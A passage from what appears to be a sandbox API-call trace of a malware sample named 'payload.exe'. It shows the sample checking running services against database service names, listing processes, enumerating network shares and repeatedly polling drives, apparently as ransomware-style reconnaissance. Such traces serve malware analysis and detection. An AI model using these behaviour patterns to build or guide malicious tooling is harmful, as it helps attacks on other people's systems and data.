(lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0162.167] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0162.167] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0162.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0162.167] lstrlenW (lpString="ProfSvc") returned 7 [0162.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0162.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0162.167] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0162.167] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0162.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0162.167] lstrlenW (lpString="RpcEptMapper") returned 12 [0162.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0162.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0162.167] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0162.167] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0162.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0162.167] lstrlenW (lpString="RpcSs") returned 5 [0162.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0162.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0162.167] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0162.167] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0162.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0162.167] lstrlenW (lpString="SamSs") returned 5 [0162.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0162.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0162.167] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0162.167] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0162.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0162.168] lstrlenW (lpString="Schedule") returned 8 [0162.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0162.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0162.168] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0162.168] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0162.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0162.168] lstrlenW (lpString="SecurityHealthService") returned 21 [0162.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0162.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0162.168] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0162.168] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0162.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0162.168] lstrlenW (lpString="SENS") returned 4 [0162.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0162.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0162.168] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0162.168] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0162.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0162.168] lstrlenW (lpString="ShellHWDetection") returned 16 [0162.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0162.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0162.168] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0162.168] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0162.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0162.168] lstrlenW (lpString="Spooler") returned 7 [0162.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0162.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0162.168] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0162.168] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0162.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0162.168] lstrlenW (lpString="StateRepository") returned 15 [0162.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0162.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0162.169] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0162.169] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0162.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0162.169] lstrlenW (lpString="SysMain") returned 7 [0162.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0162.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0162.169] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0162.169] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0162.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0162.169] lstrlenW (lpString="SystemEventsBroker") returned 18 [0162.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0162.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0162.169] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0162.169] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0162.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0162.169] lstrlenW (lpString="Themes") returned 6 [0162.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0162.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0162.169] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0162.169] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0162.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0162.169] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0162.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0162.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0162.169] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0162.169] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0162.169] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42479b0 | out: hHeap=0x660000) returned 1 [0162.169] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x36c [0162.172] Process32FirstW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.173] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0162.174] lstrlenW (lpString="System") returned 6 [0162.174] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0162.174] lstrlenW (lpString="smss.exe") returned 8 [0162.174] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0162.175] lstrlenW (lpString="csrss.exe") returned 9 [0162.175] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0162.175] lstrlenW (lpString="wininit.exe") returned 11 [0162.175] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0162.176] lstrlenW (lpString="csrss.exe") returned 9 [0162.176] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0162.177] lstrlenW (lpString="winlogon.exe") returned 12 [0162.177] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0162.177] lstrlenW (lpString="services.exe") returned 12 [0162.177] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0162.178] lstrlenW (lpString="lsass.exe") returned 9 [0162.178] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.178] lstrlenW (lpString="svchost.exe") returned 11 [0162.178] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0162.179] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0162.179] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0162.179] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0162.180] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.180] lstrlenW (lpString="svchost.exe") returned 11 [0162.180] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0162.181] lstrlenW (lpString="dwm.exe") returned 7 [0162.181] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.181] lstrlenW (lpString="svchost.exe") returned 11 [0162.181] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.182] lstrlenW (lpString="svchost.exe") returned 11 [0162.182] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.182] lstrlenW (lpString="svchost.exe") returned 11 [0162.182] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.183] lstrlenW (lpString="svchost.exe") returned 11 [0162.183] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.184] lstrlenW (lpString="svchost.exe") returned 11 [0162.184] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.184] lstrlenW (lpString="svchost.exe") returned 11 [0162.184] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.185] lstrlenW (lpString="svchost.exe") returned 11 [0162.185] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.185] lstrlenW (lpString="svchost.exe") returned 11 [0162.185] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.186] lstrlenW (lpString="svchost.exe") returned 11 [0162.186] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.187] lstrlenW (lpString="svchost.exe") returned 11 [0162.187] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0162.187] lstrlenW (lpString="spoolsv.exe") returned 11 [0162.187] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.188] lstrlenW (lpString="svchost.exe") returned 11 [0162.188] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0162.188] lstrlenW (lpString="audiodg.exe") returned 11 [0162.188] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0162.189] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0162.189] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0162.190] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0162.190] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0162.190] lstrlenW (lpString="Memory Compression") returned 18 [0162.190] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0162.191] lstrlenW (lpString="sihost.exe") returned 10 [0162.191] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.191] lstrlenW (lpString="svchost.exe") returned 11 [0162.191] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0162.194] lstrlenW (lpString="taskhostw.exe") returned 13 [0162.194] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0162.195] lstrlenW (lpString="msoia.exe") returned 9 [0162.195] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0162.195] lstrlenW (lpString="explorer.exe") returned 12 [0162.196] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0162.196] lstrlenW (lpString="SearchUI.exe") returned 12 [0162.196] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0162.197] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0162.197] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0162.197] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0162.197] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0162.198] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0162.198] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0162.198] lstrlenW (lpString="payload.exe") returned 11 [0162.198] Process32NextW (in: hSnapshot=0x36c, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 0 [0162.199] CloseHandle (hObject=0x36c) returned 1 [0162.199] Sleep (dwMilliseconds=0x1f4) Thread: id = 88 os_tid = 0xfa4 [0146.287] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0xffffffff) returned 0x80 [0146.287] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a27c8 | out: hHeap=0x660000) returned 1 Thread: id = 89 os_tid = 0xfa8 [0146.288] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6faea0 [0146.288] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6faea0, Size=0x20) returned 0x69d510 [0146.288] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d510, Size=0x40) returned 0x6778c0 [0146.288] GetLogicalDrives () returned 0x4 [0146.288] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x6d5140 [0146.288] GetComputerNameW (in: lpBuffer=0x6d5144, nSize=0x279ff64 | out: lpBuffer="NQDPDE", nSize=0x279ff64) returned 1 [0146.288] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1000) returned 0x6bd5a8 [0146.288] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x279ff34 | out: lphEnum=0x279ff34*=0x675558) returned 0x0 [0146.289] WNetEnumResourceW (in: hEnum=0x675558, lpcCount=0x279ff30, lpBuffer=0x6bd5a8, lpBufferSize=0x279ff38 | out: lpcCount=0x279ff30, lpBuffer=0x6bd5a8, lpBufferSize=0x279ff38) returned 0x103 [0146.290] WNetCloseEnum (hEnum=0x675558) returned 0x0 [0146.290] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x279ff34 | out: lphEnum=0x279ff34*=0x678d60) returned 0x0 [0146.302] WNetEnumResourceW (in: hEnum=0x678d60, lpcCount=0x279ff30, lpBuffer=0x6bd5a8, lpBufferSize=0x279ff38 | out: lpcCount=0x279ff30, lpBuffer=0x6bd5a8, lpBufferSize=0x279ff38) returned 0x0 [0146.302] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1000) returned 0x6fbd98 [0146.303] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6bd5a8, lphEnum=0x279ff08 | out: lphEnum=0x279ff08*=0x6756d8) returned 0x0 [0146.304] WNetEnumResourceW (in: hEnum=0x6756d8, lpcCount=0x279ff04, lpBuffer=0x6fbd98, lpBufferSize=0x279ff0c | out: lpcCount=0x279ff04, lpBuffer=0x6fbd98, lpBufferSize=0x279ff0c) returned 0x103 [0146.304] WNetCloseEnum (hEnum=0x6756d8) returned 0x0 [0146.304] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1000) returned 0x700dc0 [0146.304] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6bd5c8, lphEnum=0x279ff08 | out: lphEnum=0x279ff08*=0x0) returned 0x4b8 [0160.961] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1000) returned 0x42179c8 [0160.961] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6bd5e8, lphEnum=0x279ff08 | out: lphEnum=0x279ff08*=0x0) returned 0x4c6 [0160.963] WNetEnumResourceW (in: hEnum=0x678d60, lpcCount=0x279ff30, lpBuffer=0x6bd5a8, lpBufferSize=0x279ff38 | out: lpcCount=0x279ff30, lpBuffer=0x6bd5a8, lpBufferSize=0x279ff38) returned 0x103 [0160.963] WNetCloseEnum (hEnum=0x678d60) returned 0x0 [0160.963] GetLogicalDrives () returned 0x4 [0160.963] Sleep (dwMilliseconds=0x64) [0161.463] GetLogicalDrives () returned 0x4 [0161.463] Sleep (dwMilliseconds=0x64) [0161.567] GetLogicalDrives () returned 0x4 [0161.567] Sleep (dwMilliseconds=0x64) [0161.677] GetLogicalDrives () returned 0x4 [0161.677] Sleep (dwMilliseconds=0x64) [0161.792] GetLogicalDrives () returned 0x4 [0161.792] Sleep (dwMilliseconds=0x64) [0161.948] GetLogicalDrives () returned 0x4 [0161.948] Sleep (dwMilliseconds=0x64) [0162.051] GetLogicalDrives () returned 0x4 [0162.051] Sleep (dwMilliseconds=0x64) [0162.193] GetLogicalDrives () returned 0x4 [0162.193] Sleep (dwMilliseconds=0x64) [0162.336] GetLogicalDrives () returned 0x4 [0162.336] Sleep (dwMilliseconds=0x64) Thread: id = 90 os_tid = 0xfac [0146.310] GetTickCount () returned 0x118b3 [0146.310] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x24) returned 0x676140 [0146.310] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, 